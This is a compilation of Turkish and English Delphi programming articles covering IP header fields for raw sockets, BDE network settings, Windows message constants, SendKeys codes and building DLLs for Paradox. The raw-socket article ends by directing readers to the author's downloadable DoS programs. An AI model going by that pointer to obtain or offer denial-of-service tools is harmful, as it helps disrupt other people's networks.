delay -> 1: Low delay "Maximize throughput" bölümünün alabileceği değerler şunlardır: -> 0: Normal throughput -> 1: High throughput "Maximize reliability" bölümünün alabileceği değerler şunlardır: -> 0: Normal reliability -> 1: High reliability "Minimize monetary cost" bölümünün alabileceği değerler şunlardır: -> 0: Normal monetary cost -> 1: Minimize monetary cost Not: Kalan son bit ise kullanılmamaktadır. 570
Not: Kalan son bit ise kullanılmamaktadır. [--------------------------------] ip_len (Total length [16 bit]): Tüm paketin boyutudur. [--------------------------------] ip_id (Identification [16 bit]): Eğer paketi parçalara ayırarak göndereceksek her parçanın bu değeri aynı olmalıdır. [--------------------------------] ip_off (Flags + Fragment Offset [16 bit]): İlk 3 biti "Flags", kalan 13 biti de "Fragment Offset" bölümü olmak üzere toplam 2 ana bölümden oluşmuştur. İlk ana bölüm olan "Flags"in ilk biti her zaman 0 olmalıdır. İkinci biti "Don't fragment", üçüncü biti "More fragments" kısmı olmak üzere toplam 2 kısımdan oluşmuştur. "Don't fragment" kısmı paketin parçalanmasını kontrol eder. Bu kısmın alabileceği değerler: -> 0: Fragment if necessary -> 1: Do not fragment "More fragments" kısmı paketin parçalanma durumunu gösterir. Alabileceği değerler: -> 0: This is the last fragment -> 1: More fragments follow this fragment İkinci ana bölüm olan "Fragment Offset" bölümündeki değer ise parçalanan paketin yeniden oluşturulmasında kullanılır. [--------------------------------] ip_ttl (Time to Live [8 bit]): Bu değer paket her routerdan geçişinde 1 azaltılır. Eğer değer 0'a düşerse paket atılır. [--------------------------------] ip_p (Protocol [8 bit]): IP başlığından sonra gelen protokoldür. 1: ICMP, 2: IGMP, 6: TCP 17: UDP gibi... [--------------------------------] ip_sum (Header checksum [16 bit]): IP başlığı ve eğer varsa ip başlığının eksta seçeneklerini de içeren 16 bitlik bir checksum'dır. [--------------------------------] ip_src (Source IP address [32 bit]): Paketin kaynak IP adresidir. 571
[--------------------------------] ip_dst (Destination IP address [32 bit]): Paketin hedef IP adresidir. Raw socketlerin nasıl açılıp kurulacağını, tcp, udp, icmp, igmp gibi başlıkların yapısını ve bunların raw socketler ile kullanımı için "Program Örnekleri"ne gönderdiğim "DoS Programlarım" başlığı altındaki DoS.zip dosyasını indirin. Buradaki programlarımın güncellenmiş versiyonlarını (ileriki tarihlerde) ve derlenmiş hallerini http://209.100.212.5/cgibin/search/[email protected] adresinden indirebilirsiniz. Eğer vakit bulursam bunlar hakkında da doküman yazacağım. Başarılar, Metin İGE [email protected] Soket Programlama, Winsock, Internet/Intranet
29 Haz 2002 17:34
metinsdr
572
Makale
Paradox ve dBASE tabloları için BDE ağ tanımları
Yorum Son Durum
11
8 Ağu 2002 09:08 mcuyan
Çok Sorulduğu için bi makale yazmak gereği duydum. Paradox ve Dbase tablolarını ağda çalıştırabilmek için Aşağıdaki BDE ayarlarını Kullanın. ANA MAKİNA AYARLARI Ana Makina Adı: Server Disk paylaşım adı : C Paradox veya dBASE tablolarının bulunduğu Klasör c:\Prog\Data PDOXUSRS.NET dosyasının yeri: c:\ Ana Makina BDE Ayarları: DataBAse sekmesi: Alias: MyProg Path : c:\Prog\Data Congiguration->Drivers->Native->PARADOX (veya dBASE) sekmesi: NET DIR: C:\ (PDOXUSRS.NET dosyasını gösterecek) LANGDRIVER: paradox "turk" Congiguration->System->INIT sekmesi: LANGDRIVER: paradox "turk" LOCALSHARE: TRUE TERMİNAL MAKİNA BDE AYARLARI: DataBAse sekmesi: Alias: MyProg Path : \\Server\\Prog\Data Congiguration->Drivers->Native->PARADOX (veya dBASE) sekmesi: NET DIR: \\Server\c (Ana makinadaki PDOXUSRS.NET dosyasını gösterecek) LANGDRIVER: paradox "turk" Congiguration->System->INIT sekmesi: LANGDRIVER: paradox "turk" LOCALSHARE: TRUE Yukarda anlatılan ayarlaın dışında şayet terminalden ana makina için bir ağ yolu tanımlamışsanız terminal ayarları aşağıdaki gibi de olabilir. Ana makinanın diskine F diye bir ağ yolu tanımladıysak ayarlar şu şekilde olacaktır. DataBAse sekmesi: Alias: MyProg Path : F:\Prog\Data 573
Path : F:\Prog\Data Congiguration->Drivers->Native->PARADOX (veya dBASE) sekmesi: NET DIR: F:\ (Ana makinadaki PDOXUSRS.NET dosyasını gösterecek) LANGDRIVER: paradox "turk" Congiguration->System->INIT sekmesi: LANGDRIVER: paradox "turk" LOCALSHARE: TRUE Ancak bu tanımda dikkat edilmesi gereken şey F ağ yolu koptuğunda program çalışmayacaktır. .exe dosyanızı terminalden istediğiniz klasörden çalıştırabilirsiniz. Kolay gelsin.......... BDE ve Alias Parametreleri sair
4 Nis 2002 08:33
Makale Yorumları TERMİNAL MAKİNA BDE AYARLARI: DataBAse sekmesi: Alias: MyProg Path : \\Server\\Prog\Data Üstteki tanım da ufak bir hata olmuş: Path : \\Server\\Prog\Data değil Path : \\Server\Prog\Data olacak... ters slah ı bi tane fazla yazmışım. :)))))
574
Windows Mesajları 1
0
16 Ağu 2002 19:23 Eklendi
{Her derde deva windows mesajları ozellikle component yazanların çok işine yarar. ICQ:165276600 [email protected]} WM_NULL = $0000; WM_CREATE = $0001; WM_DESTROY = $0002; WM_MOVE = $0003; WM_SIZE = $0005; WM_ACTIVATE = $0006; WM_SETFOCUS = $0007; WM_KILLFOCUS = $0008; WM_ENABLE = $000A; WM_SETREDRAW = $000B; WM_SETTEXT = $000C; WM_GETTEXT = $000D; WM_GETTEXTLENGTH = $000E; WM_PAINT = $000F; WM_CLOSE = $0010; WM_QUERYENDSESSION = $0011; WM_QUIT = $0012; WM_QUERYOPEN = $0013; WM_ERASEBKGND = $0014; WM_SYSCOLORCHANGE = $0015; WM_ENDSESSION = $0016; WM_SYSTEMERROR = $0017; WM_SHOWWINDOW = $0018; WM_CTLCOLOR = $0019; WM_WININICHANGE = $001A; WM_SETTINGCHANGE = WM_WININICHANGE; WM_DEVMODECHANGE = $001B; WM_ACTIVATEAPP = $001C; WM_FONTCHANGE = $001D; WM_TIMECHANGE = $001E; WM_CANCELMODE = $001F; WM_SETCURSOR = $0020; WM_MOUSEACTIVATE = $0021; WM_CHILDACTIVATE = $0022; WM_QUEUESYNC = $0023; WM_GETMINMAXINFO = $0024; WM_PAINTICON = $0026; WM_ICONERASEBKGND = $0027; WM_NEXTDLGCTL = $0028; WM_SPOOLERSTATUS = $002A; WM_DRAWITEM = $002B; WM_MEASUREITEM = $002C; WM_DELETEITEM = $002D; 575
WM_VKEYTOITEM = $002E; WM_CHARTOITEM = $002F; WM_SETFONT = $0030; WM_GETFONT = $0031; WM_SETHOTKEY = $0032; WM_GETHOTKEY = $0033; WM_QUERYDRAGICON = $0037; WM_COMPAREITEM = $0039; WM_GETOBJECT = $003D; WM_COMPACTING = $0041; WM_COMMNOTIFY = $0044; {Win32 için eski} WM_WINDOWPOSCHANGING = $0046; WM_WINDOWPOSCHANGED = $0047; WM_POWER = $0048; WM_COPYDATA = $004A; WM_CANCELJOURNAL = $004B; WM_NOTIFY = $004E; WM_INPUTLANGCHANGEREQUEST = $0050; WM_INPUTLANGCHANGE = $0051; WM_TCARD = $0052; WM_HELP = $0053; WM_USERCHANGED = $0054; WM_NOTIFYFORMAT = $0055; WM_CONTEXTMENU = $007B; WM_STYLECHANGING = $007C; WM_STYLECHANGED = $007D; WM_DISPLAYCHANGE = $007E; WM_GETICON = $007F; WM_SETICON = $0080; WM_NCCREATE = $0081; WM_NCDESTROY = $0082; WM_NCCALCSIZE = $0083; WM_NCHITTEST = $0084; WM_NCPAINT = $0085; WM_NCACTIVATE = $0086; WM_GETDLGCODE = $0087; WM_NCMOUSEMOVE = $00A0; WM_NCLBUTTONDOWN = $00A1; WM_NCLBUTTONUP = $00A2; WM_NCLBUTTONDBLCLK = $00A3; WM_NCRBUTTONDOWN = $00A4; WM_NCRBUTTONUP = $00A5; WM_NCRBUTTONDBLCLK = $00A6; WM_NCMBUTTONDOWN = $00A7; WM_NCMBUTTONUP = $00A8; WM_NCMBUTTONDBLCLK = $00A9; WM_KEYFIRST = $0100; WM_KEYDOWN = $0100; WM_KEYUP = $0101; WM_CHAR = $0102; WM_DEADCHAR = $0103; WM_SYSKEYDOWN = $0104; 576
WM_SYSKEYUP = $0105; WM_SYSCHAR = $0106; WM_SYSDEADCHAR = $0107; WM_KEYLAST = $0108; WM_INITDIALOG = $0110; WM_COMMAND = $0111; WM_SYSCOMMAND = $0112; WM_TIMER = $0113; WM_HSCROLL = $0114; WM_VSCROLL = $0115; WM_INITMENU = $0116; WM_INITMENUPOPUP = $0117; WM_MENUSELECT = $011F; WM_MENUCHAR = $0120; WM_ENTERIDLE = $0121; WM_MENURBUTTONUP = $0122; WM_MENUDRAG = $0123; WM_MENUGETOBJECT = $0124; WM_UNINITMENUPOPUP = $0125; WM_MENUCOMMAND = $0126; WM_CHANGEUISTATE = $0127; WM_UPDATEUISTATE = $0128; WM_QUERYUISTATE = $0129; WM_CTLCOLORMSGBOX = $0132; WM_CTLCOLOREDIT = $0133; WM_CTLCOLORLISTBOX = $0134; WM_CTLCOLORBTN = $0135; WM_CTLCOLORDLG = $0136; WM_CTLCOLORSCROLLBAR= $0137; WM_CTLCOLORSTATIC = $0138; WM_MOUSEFIRST = $0200; WM_MOUSEMOVE = $0200; WM_LBUTTONDOWN = $0201; WM_LBUTTONUP = $0202; WM_LBUTTONDBLCLK = $0203; WM_RBUTTONDOWN = $0204; WM_RBUTTONUP = $0205; WM_RBUTTONDBLCLK = $0206; WM_MBUTTONDOWN = $0207; WM_MBUTTONUP = $0208; WM_MBUTTONDBLCLK = $0209; WM_MOUSEWHEEL = $020A; WM_MOUSELAST = $020A; WM_PARENTNOTIFY = $0210; WM_ENTERMENULOOP = $0211; WM_EXITMENULOOP = $0212; WM_NEXTMENU = $0213; WM_SIZING = 532; WM_CAPTURECHANGED = 533; WM_MOVING = 534; WM_POWERBROADCAST = 536; WM_DEVICECHANGE = 537; 577
WM_IME_STARTCOMPOSITION = $010D; WM_IME_ENDCOMPOSITION = $010E; WM_IME_COMPOSITION = $010F; WM_IME_KEYLAST = $010F; WM_IME_SETCONTEXT = $0281; WM_IME_NOTIFY = $0282; WM_IME_CONTROL = $0283; WM_IME_COMPOSITIONFULL = $0284; WM_IME_SELECT = $0285; WM_IME_CHAR = $0286; WM_IME_REQUEST = $0288; WM_IME_KEYDOWN = $0290; WM_IME_KEYUP = $0291; WM_MDICREATE = $0220; WM_MDIDESTROY = $0221; WM_MDIACTIVATE = $0222; WM_MDIRESTORE = $0223; WM_MDINEXT = $0224; WM_MDIMAXIMIZE = $0225; WM_MDITILE = $0226; WM_MDICASCADE = $0227; WM_MDIICONARRANGE = $0228; WM_MDIGETACTIVE = $0229; WM_MDISETMENU = $0230; WM_ENTERSIZEMOVE = $0231; WM_EXITSIZEMOVE = $0232; WM_DROPFILES = $0233; WM_MDIREFRESHMENU = $0234; WM_MOUSEHOVER = $02A1; WM_MOUSELEAVE = $02A3; WM_CUT = $0300; WM_COPY = $0301; WM_PASTE = $0302; WM_CLEAR = $0303; WM_UNDO = $0304; WM_RENDERFORMAT = $0305; WM_RENDERALLFORMATS = $0306; WM_DESTROYCLIPBOARD = $0307; WM_DRAWCLIPBOARD = $0308; WM_PAINTCLIPBOARD = $0309; WM_VSCROLLCLIPBOARD = $030A; WM_SIZECLIPBOARD = $030B; WM_ASKCBFORMATNAME = $030C; WM_CHANGECBCHAIN = $030D; WM_HSCROLLCLIPBOARD = $030E; WM_QUERYNEWPALETTE = $030F; WM_PALETTEISCHANGING= $0310; WM_PALETTECHANGED = $0311; WM_HOTKEY = $0312; WM_PRINT = 791; WM_PRINTCLIENT = 792; WM_HANDHELDFIRST = 856; 578
WM_HANDHELDLAST = 863; WM_PENWINFIRST = $0380; WM_PENWINLAST = $038F; WM_COALESCE_FIRST = $0390; WM_COALESCE_LAST = $039F; WM_DDE_FIRST = $03E0; WM_DDE_INITIATE = WM_DDE_FIRST + 0; WM_DDE_TERMINATE = WM_DDE_FIRST + 1; WM_DDE_ADVISE = WM_DDE_FIRST + 2; WM_DDE_UNADVISE = WM_DDE_FIRST + 3; WM_DDE_ACK = WM_DDE_FIRST + 4; WM_DDE_DATA = WM_DDE_FIRST + 5; WM_DDE_REQUEST = WM_DDE_FIRST + 6; WM_DDE_POKE = WM_DDE_FIRST + 7; WM_DDE_EXECUTE = WM_DDE_FIRST + 8; WM_DDE_LAST = WM_DDE_FIRST + 8; WM_APP = $8000; WM_USER = $0400; Windows Mesajları 2
2
21 Ağu 2002 09:57 mrceng
579
BM_SETIMAGE = $00F7; { Listbox } LBN_ERRSPACE = (-2); LBN_SELCHANGE = 1; LBN_DBLCLK = 2; LBN_SELCANCEL = 3; LBN_SETFOCUS = 4; LBN_KILLFOCUS = 5; { Listbox messages } LB_ADDSTRING = $0180; LB_INSERTSTRING = $0181; LB_DELETESTRING = $0182; LB_SELITEMRANGEEX = $0183; LB_RESETCONTENT = $0184; LB_SETSEL = $0185; LB_SETCURSEL = $0186; LB_GETSEL = $0187; LB_GETCURSEL = $0188; LB_GETTEXT = $0189; LB_GETTEXTLEN = $018A; LB_GETCOUNT = $018B; LB_SELECTSTRING = $018C; LB_DIR = $018D; LB_GETTOPINDEX = $018E; LB_FINDSTRING = $018F; LB_GETSELCOUNT = $0190; LB_GETSELITEMS = $0191; LB_SETTABSTOPS = $0192; LB_GETHORIZONTALEXTENT = $0193; LB_SETHORIZONTALEXTENT = $0194; LB_SETCOLUMNWIDTH = $0195; LB_ADDFILE = $0196; LB_SETTOPINDEX = $0197; LB_GETITEMRECT = $0198; LB_GETITEMDATA = $0199; LB_SETITEMDATA = $019A; LB_SELITEMRANGE = $019B; LB_SETANCHORINDEX = $019C; LB_GETANCHORINDEX = $019D; LB_SETCARETINDEX = $019E; LB_GETCARETINDEX = $019F; LB_SETITEMHEIGHT = $01A0; LB_GETITEMHEIGHT = $01A1; LB_FINDSTRINGEXACT = $01A2; LB_SETLOCALE = $01A5; LB_GETLOCALE = $01A6; LB_SETCOUNT = $01A7; LB_INITSTORAGE = $01A8; LB_ITEMFROMPOINT = $01A9; 580
LB_ITEMFROMPOINT = $01A9; LB_MSGMAX = 432; { Combo Box } CBN_ERRSPACE = (-1); CBN_SELCHANGE = 1; CBN_DBLCLK = 2; CBN_SETFOCUS = 3; CBN_KILLFOCUS = 4; CBN_EDITCHANGE = 5; CBN_EDITUPDATE = 6; CBN_DROPDOWN = 7; CBN_CLOSEUP = 8; CBN_SELENDOK = 9; CBN_SELENDCANCEL = 10; { Combo Box messages } CB_GETEDITSEL = $0140; CB_LIMITTEXT = $0141; CB_SETEDITSEL = $0142; CB_ADDSTRING = $0143; CB_DELETESTRING = $0144; CB_DIR = $0145; CB_GETCOUNT = $0146; CB_GETCURSEL = $0147; CB_GETLBTEXT = $0148; CB_GETLBTEXTLEN = $0149; CB_INSERTSTRING = $014A; CB_RESETCONTENT = $014B; CB_FINDSTRING = $014C; CB_SELECTSTRING = $014D; CB_SETCURSEL = $014E; CB_SHOWDROPDOWN = $014F; CB_GETITEMDATA = $0150; CB_SETITEMDATA = $0151; CB_GETDROPPEDCONTROLRECT = $0152; CB_SETITEMHEIGHT = $0153; CB_GETITEMHEIGHT = $0154; CB_SETEXTENDEDUI = $0155; CB_GETEXTENDEDUI = $0156; CB_GETDROPPEDSTATE = $0157; CB_FINDSTRINGEXACT = $0158; CB_SETLOCALE = 345; CB_GETLOCALE = 346; CB_GETTOPINDEX = 347; CB_SETTOPINDEX = 348; CB_GETHORIZONTALEXTENT = 349; CB_SETHORIZONTALEXTENT = 350; CB_GETDROPPEDWIDTH = 351; CB_SETDROPPEDWIDTH = 352; CB_INITSTORAGE = 353; 581
CB_INITSTORAGE = 353; CB_MSGMAX = 354; { Edit Control } EN_SETFOCUS = $0100; EN_KILLFOCUS = $0200; EN_CHANGE = $0300; EN_UPDATE = $0400; EN_ERRSPACE = $0500; EN_MAXTEXT = $0501; EN_HSCROLL = $0601; EN_VSCROLL = $0602; { Edit Control Messages } EM_GETSEL = $00B0; EM_SETSEL = $00B1; EM_GETRECT = $00B2; EM_SETRECT = $00B3; EM_SETRECTNP = $00B4; EM_SCROLL = $00B5; EM_LINESCROLL = $00B6; EM_SCROLLCARET = $00B7; EM_GETMODIFY = $00B8; EM_SETMODIFY = $00B9; EM_GETLINECOUNT = $00BA; EM_LINEINDEX = $00BB; EM_SETHANDLE = $00BC; EM_GETHANDLE = $00BD; EM_GETTHUMB = $00BE; EM_LINELENGTH = $00C1; EM_REPLACESEL = $00C2; EM_GETLINE = $00C4; EM_LIMITTEXT = $00C5; EM_CANUNDO = $00C6; EM_UNDO = $00C7; EM_FMTLINES = $00C8; EM_LINEFROMCHAR = $00C9; EM_SETTABSTOPS = $00CB; EM_SETPASSWORDCHAR = $00CC; EM_EMPTYUNDOBUFFER = $00CD; EM_GETFIRSTVISIBLELINE = $00CE; EM_SETREADONLY = $00CF; EM_SETWORDBREAKPROC = $00D0; EM_GETWORDBREAKPROC = $00D1; EM_GETPASSWORDCHAR = $00D2; EM_SETMARGINS = 211; EM_GETMARGINS = 212; EM_SETLIMITTEXT = EM_LIMITTEXT; EM_GETLIMITTEXT = 213; EM_POSFROMCHAR = 214; EM_CHARFROMPOS = 215; 582
EM_CHARFROMPOS = 215; EM_SETIMESTATUS = 216; EM_GETIMESTATUS = 217; { Scroll bar messages } SBM_SETPOS = 224; SBM_GETPOS = 225; SBM_SETRANGE = 226; SBM_SETRANGEREDRAW = 230; SBM_GETRANGE = 227; SBM_ENABLE_ARROWS = 228; SBM_SETSCROLLINFO = 233; SBM_GETSCROLLINFO = 234; { Dialog messages } DM_GETDEFID = (WM_USER+0); DM_SETDEFID = (WM_USER+1); DM_REPOSITION = (WM_USER+2); PSM_PAGEINFO = (WM_USER+100); PSM_SHEETINFO = (WM_USER+101); Delphi ve WinApi mrceng
16 Ağu 2002 19:23
Kod Yorumları NE İŞE YARAR VE NASIL KULLANIRIZ? hiphopbaba
18 Ağu 2002 15:37
bir ustteki ornekte nasıl kullanıldığına dair bir satırlık bir kod var. onu incelersen belki alında bir kıvılcım çaktırabilir. Eger component hazırlıyorsan ornegin OnKeyPress gibi bir olayin icerisine sen kod yazarsan kullanici o olayı bir daha kullanamaz. ama win mesajı ile bunu hazırlarsan o componentin olayına dokunmamış olursun ve component kullanicisida rahatlıkla istediği olaya kod yazabilir. bir diğeride bu mesajları normal program yazarkende rahatlıkla kullanabilirsin. yukarıdaki örnek gibi. örneğin bir butona basılmasını istediğinde BM_CLICK gonderdiğinde o butona basılır. kod: postMessage(button1.Handle,BM_CLICK,1,1); nasıl herşey bu kadar basit işte. 583
zorla adamı düğmeye bastırdık....:)
584
Method: WshShell.SendKeys WshShell.SendKeys strKeyString The SendKeys method sends one or more keystrokes to the active window as if they were typed at the keyboard. This method is similar to VB's SendKeys method. Each ordinary key can be represented by the character of the key itself. For example, the key sequence ABCD can be represented simply by "ABCD". Some special keys, such as the control keys, function keys, '{', '}', '[', ']', etc... are encoded in a string enclosed by braces ({}). The following table shows the list of special characters and their respective encoding for SendKeys. Key
Code
{
{{}
}
{}}
[
{[}
]
{]}
~
{~}
+
{+}
^
{^}
%
{%}
BACKSPACE
{BACKSPACE}, {BS}, or {BKSP}
BREAK
{BREAK}
CAPS LOCK
{CAPSLOCK}
DEL or DELETE {DELETE} or {DEL} DOWN ARROW
{DOWN}
END
{END}
ENTER
{ENTER} or ~
ESC
{ESC}
HELP
{HELP}
HOME
{HOME}
INS or INSERT
{INSERT} or {INS}
LEFT ARROW
{LEFT}
585
NUM LOCK
{NUMLOCK}
PAGE DOWN
{PGDN}
PAGE UP
{PGUP}
PRINT SCREEN
{PRTSC}
RIGHT ARROW
{RIGHT}
SCROLL LOCK
{SCROLLLOCK}
TAB
{TAB}
UP ARROW
{UP}
F1
{F1}
F2
{F2}
F3
{F3}
F4
{F4}
F5
{F5}
F6
{F6}
F7
{F7}
F8
{F8}
F9
{F9}
F10
{F10}
F11
{F11}
F12
{F12}
F13
{F13}
F14
{F14}
F15
{F15}
F16
{F16}
To specify keys combined with any combination of the SHIFT, CTRL, and ALT keys, precede the key code with one or more of the following codes: Key Code +
SHIFT
^
CTRL
%
ALT 586
For example, the following strKeyString produces the CTRL-ALT-DELETE keystroke combination: "^%{DELETE}" The following VBScript code creates an instance of Notepad and types the words "Hello World!" ten times into Notepad. Code: Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad", 9 WScript.Sleep 500 ' Give Notepad some time to load For i = 1 To 10 WshShell.SendKeys "Hello World!" WshShell.SendKeys "{ENTER}" Next
587
The views and information expressed in this document represent those of its author(s) who are solely responsible for its content. Borland does not make or give any representation or warranty with respect to such content. Creating Delphi DLLs for use with Paradox and dBASE By Sundar Rajan Table of Contents ·
Two-Minute DLL
·
Passing Variables
·
Dialog Boxes in a DLL - Exposing the Common Dialogs o
Modifying the Project File to Create a DLL
o
Writing the Library Functions
o
Using the dialog box from a Paradox application
·
DLLs with Database Components - A Dynamic Table Browser Example
·
Listing Aliases - Deriving New Components for the BDE
·
A Popup Calendar for Paradox/dBASE Users Using the Calendar Component
·
Tips
·
Summary
Most Paradox and dBASE developers would agree that creating libraries of commonly used functions promotes re-use, resource sharing and serves as a excellent means of shortening development cycles. System-wide procedures and functions can be encapsulated into ObjectPAL libraries or dBASE program files. The catch , of course, is that these libraries are not truly re-usable - The functions and procedures in the libraries can only be used by the development tool that created it. A dBASE program doesn't understand the functions in an ObjectPAL library and vice versa. Wouldn't it be nice if you could write some or all of the code for common functions just once and be done with? Is this possible ? Actually, yes!. You can write modular, re-usable code libraries that operate independently of your development system. The format of such a library is called DLL, and virtually all Windows development tools can access functions and procedures in DLLs. In the Windows world, DLLs remain the only truly reusable component format that can be shared amongst all windows development tools. Database Developers resort to DLLs for various reasons : ·
Create functions that are significantly faster than those written in ObjectPAL or dBASE.
·
Do things that are very difficult or impossible to do in Paradox/dBASE (invoke Callback functions). 588
While Paradox/dBASE developers have used DLLs, the process of creating such DLLs were left to third-parties or C/C++ experts because of the complexity and learning curve associated with writing 'C' Windows code. Finally, with Delphi, xBASE and Paradox programmers can create DLLs using a familiar, visual development toolset. In this article, I will show how Delphi can be used to create DLLs, including DLLs that contain forms and database components and discuss an application architecture that makes best use of the different development tools. Two-Minute DLL The beauty with Delphi is that even novice windows programmers can churn out DLLs quickly without having to grapple with esoteric concepts like WEP, LIBMAIN and DEF files. You proceed to create functions and procedures pretty much the same way you would do with Paradox or dBASE. Delphi can then instantly turn these programs into DLLs by renaming the Program as Library and by exporting the functions. The MinMax DLL library listed below contains two functions Min, Max . To create this DLL : 1. Open a new project in Delphi, 2. Close the default form and unit created (MinMax project does not need any forms or units) 3. Save the project as MinMax (the name of the DLL) and change the Program keyword to Library. 4. Remove the forms unit from the project's uses clause. 5. Remove all lines of code between the begin and end at the bottom of the file. 6. Write the code for the functions. The EXPORTS specifier in the function declaration tells the compiler that the function is going to be called from another external module. Any routines exported from a DLL must include the export specifier. All call-backs such as window procedures also need this specifier. 7. Finally, declare the routines that are actually exported from the DLL under the EXPORTS statement. The EXPORTS statement at the end of the library source code tells the compiler what is visible and what isn't. Library MinMax; function Min(X, Y: Integer): Integer; export; begin if X < Y then Min := X else Min := Y; end; function Max(X, Y: Integer): Integer; export; begin if X > Y then Max := X else Max := Y; end; 589
exports Min index 1, Max index 2; begin end. Even from this simple example, you can see that although the syntax of the library functions is not very different from ObjectPAL or dBASE, the resultant library functions compile into DLLs and are truly re-usable - not only by Delphi programs but also from Paradox, dBASE and other Windows development tools. To use the DLL functions in Paradox, create a new form and declare the functions in the USES section and create a push button to invoke the functions: ; the following goes in the form's Uses window uses MinMax ; load routines from MINMAX.DLL Min (x CWORD, y CWORD) CWORD ; declare the routines to use Max (x CWORD, y CWORD) CWORD endUses method pushButton(var eventInfo Event) var x, y, z SmallInt endVar x.View("Enter X") y.View("Enter Y") z = Min(x, y) ; call Min from the DLL msgInfo("Min", z) z = Max(x, y) ; call Max from the DLL msgInfo("Max", z) endMethod Passing Variables When you pass variables between the calling program and the Delphi DLL, you can pretty much use the standard Pascal data types such as Integer, LongInt etc, except for the ones shaded in figure below. The Pascal string type may seem like the equivalent of the ObjectPAL string - do not use the Pascal String type as a parameter or return variable in your DLL function. The reason : Pascal String type is only understood by Pascal. Instead, use the PChar type - PChar is a pointer to a null-terminated array of characters - the standard C-language string type that is understood by every language that can call DLLs. Likewise, avoid using the Pascal Logical data type as a return parameter since it does not match to an ObjectPAL data type. Data types translation table
590
Invoking DLL functions or procedures with incorrect data types can lead to various problems including GPFs and system crashes. Here is a typical example: A Delphi DLL (in MYDLL.DLL) function I was testing had the following prototype : function MyFunction(X, Y: Integer): Integer; export; I had mistakenly assigned a return type of Smallint to the function in the Uses section of the Paradox form that called the DLL : Uses MyDll ; load routines from MyDLL.DLL MyFunction (x CWORD, y CWORD) Smallint endUses Everytime the DLL function was invoked, Paradox threw up the error message "You have tried to use an unassigned variable. A variable must be assigned a value before you can use it.". The correct return type for MyFunction in the Uses section should have been CWORD. Dialog Boxes in a DLL - Exposing the Common Dialogs Creating DLLs that contain functions and procedures is all very nice, but Delphi's true power is in creating DLLs that contain dialogs boxes and forms. In the past, such DLLs were the domain of C/C++ experts or third-party vendors, primarily because of the complexity of writing Windows code in C/C++. With Delphi's rich tool-set and VCL, dBASE and Paradox programmers can create DLLs using the same visual metaphor they're already familiar with. Consider a Paradox application that lets users dynamically select color preferences for forms and other screen objects. We know that Windows API has 'common dialog' functions for selecting color and that Paradox does not surface this function in ObjectPAL. Not only that- to invoke the Windows API common dialogs, you need callback capabilities that are beyond the scope of ObjectPAL. Let us consider another common dialog-a File Open dialog which is useful for selecting dBASE/Paradox tables (Paradox's File-browser has some limitations - it displays SQL aliases even when the selection filter explicitly specifies dBASE/Paradox tables). These are typical situations when dBASE/Paradox developers can turn to Delphi for solutions-Delphi has built-in dialog components for selecting color and opening files. (There is actually another way of invoking common dialogs: By making calls to the Windows API directly. I do not recommend this approach as the Delphi VCL has encapsulated the common dialog API functions and Delphi
591
components are easily enhanced). CMNDLGS Project listed below exports two wrapper functions-for the color dialog and for the file open dialog : Modifying the Project File to create a DLL ·
Note that the default project file created by Delphi defaults to the reserved word Program in the first line-change this to Library.
·
Remove the Forms unit from the project's uses clause.
·
Remove all lines of code in the begin..end block.
·
Finally, add an export clause to export the functions you want to make available to other programs.
Library Cmndlgs; uses Cdlgunit in 'CDLGUNIT.PAS'; {FrmDialog} exports wwGetOpenFileName, wwChooseColor; begin end. Writing the Library functions Since Paradox /dBASE cannot use Delphi's components directly, we need to wrap the components in a Delphi function or procedure and export those instead. ·
Open the default forms unit created by Delphi and place the color dialog and File Open dialog on it. Save the unit as CDLGUNIT.PAS, instead of the default file name unit1.pas.
·
The function wwChooseColor passes a default color (LongInt) and returns the user-selected color in the same variable ClrSelected (note the var keyword tells Delphi that the variable is passed by reference). Declare the interface routine as below. The export keyword indicates that the function will be visible to external programs.
· · · ·
· · · · ·
function wwChooseColor(var ClrSelected :LongInt) :Integer; export; wwGetOpenFileName (the wrapper for File Open dialog ) accepts the title, filter values (e.g. '*.DB'), and returns the filename selected via the third parameter szName. function wwGetOpenFileName(szTitle :PChar; szFilter :PChar ; szName: PChar) : Integer; export; All that remains now is to implement the functions. The code for the color dialog and the file open dialog functions are given below : 592
Figure CLRDLG - Delphi's Color Dialog component invoked from Paradox. Choose Box Color invokes the Delphi DLL function wwChooseColor and lets users pick the color for the Box using the Common Dialog.
Delphi code for wwGetOpenFileName and wwChooseColor functions
unit Cdlgunit; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; type TFrmDialog = class(TForm) OpenDialog1: TOpenDialog; ColorDialog1: TColorDialog; private { Private declarations } public { Public declarations } end; var FrmDialog: TFrmDialog; function wwGetOpenFileName(szTitle :PChar; szFilter :PChar ; szName: PChar) : Integer; export; function wwChooseColor(var ClrSelected :LongInt) :Integer; export; implementation {$R *.DFM} function wwGetOpenFileName(szTitle :PChar; szFilter :PChar; szName: PChar) : Integer; var 593
someStr: String; begin Result := 0; try frmDialog := TFrmDialog.Create(Application); with frmDialog do begin OpenDialog1.title := StrPas(szTitle); OpenDialog1.DefaultExt := 'DB'; OpenDialog1.Filter := strPas(szFilter); if OpenDialog1.Execute then begin StrPCopy(szName, OpenDialog1.FileName); Result :=1; end; end; finally frmDialog.free; end; end; function wwChooseColor(var clrSelected: LongInt) : Integer; var someStr: String; begin Result := 0; try frmDialog := TFrmDialog.Create(Application); with frmDialog do begin ColorDialog1.Color := clrSelected; if ColorDialog1.Execute then begin ClrSelected := ColorDialog1.Color; Result :=1; end else begin Result := 0; end; end; finally frmDialog.free; end; end; end. 594
Using the dialog box from a Paradox application Figure CLRDLG shows the Paradox form CLRDLG.FSL in action. Code in the Uses window of the form: uses CMNDLGS wwGetOpenfileName(Title CPTR, Filter CPTR, SelectedFile CPTR) CWORD wwChooseColor(ClrSent CPTR) CWORD enduses The pushbutton labeled "Choose Box Color" invokes the Color dialog function, and sets the box color to the one picked by the user. Var ClrSelected LongInt EndVar ClrSelected = Box.color if wwChooseColor(ClrSelected) = 1 then ; Success Box.Color = ClrSelected endif DLLs with Database Components - A Dynamic Table Browser example Let 's move to a topic that is sure to interest database developers - creating reusable DLLs that contain database components. The importance is obvious database functions executed from DLLs are faster than those written in ObjectPAL/dBASE and the can be shared amongst different applications and development tools. Figure TBLVIEW (below) shows an example of a Paradox utility that uses two DLL functions - the File Open dialog component and a Table Viewer component in a DLL to create a dynamic table browser. Listing of TBLVIEW.DPR
